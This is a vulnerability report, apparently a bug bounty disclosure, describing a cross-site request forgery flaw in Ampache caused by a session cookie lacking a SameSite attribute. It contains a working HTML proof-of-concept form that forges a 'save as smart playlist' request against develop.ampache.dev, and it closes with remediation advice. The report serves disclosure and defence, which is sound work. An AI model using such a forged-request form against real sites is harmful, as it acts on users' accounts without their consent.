Cross-Site Request Forgery (CSRF) in ampache/ampache
Jul 24th 2021
When you don't set the SameSite attribute of cookies the browsers have special act in front of this issue.(I mean set default value on it) chrome and chromium based browsers set the attribute "Lax" that mean if you do add/delete/alter operation in a get HTTP request then your site more vulnerable with CSRF attacks.
But Firefox ( one of big ones ) don't set this attribute to "Lax" and set it to "none" that makes all POST and GET requests more Vulnerable to CSRF attack.
demo.apache.dev you don't set any SameSite attribute for your cookies.
develop.ampache.dev also you set SameSite attribute for all cookies to "Strict" that is good but for main session cookie that name "ampache" you didn't set any SameSite attribute.
So in Firefox attacker can Add any Smart Playlist With CSRF attack that users already allowed manually do it.
🕵️♂️ Proof of Concept
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://develop.ampache.dev/search.php?type=song" method="POST"> <input type="hidden" name="limit" value="1" /> <input type="hidden" name="operator" value="and" /> <input type="hidden" name="rule_1" value="anywhere" /> <input type="hidden" name="rule_1_operator" value="0" /> <input type="hidden" name="rule_1_input" value="" /> <input type="hidden" name="action" value="save_as_smartplaylist" /> <input type="submit" value="Submit request" /> </form> </body> </html>
This vulnerability is capable of Add any Smart Playlist without user's permission that have high impact on availability of user interactions.
You should set SameSite attribute to Lax and don't use Get method for writing, Or use strict if you don't want to share cookies to any third party application.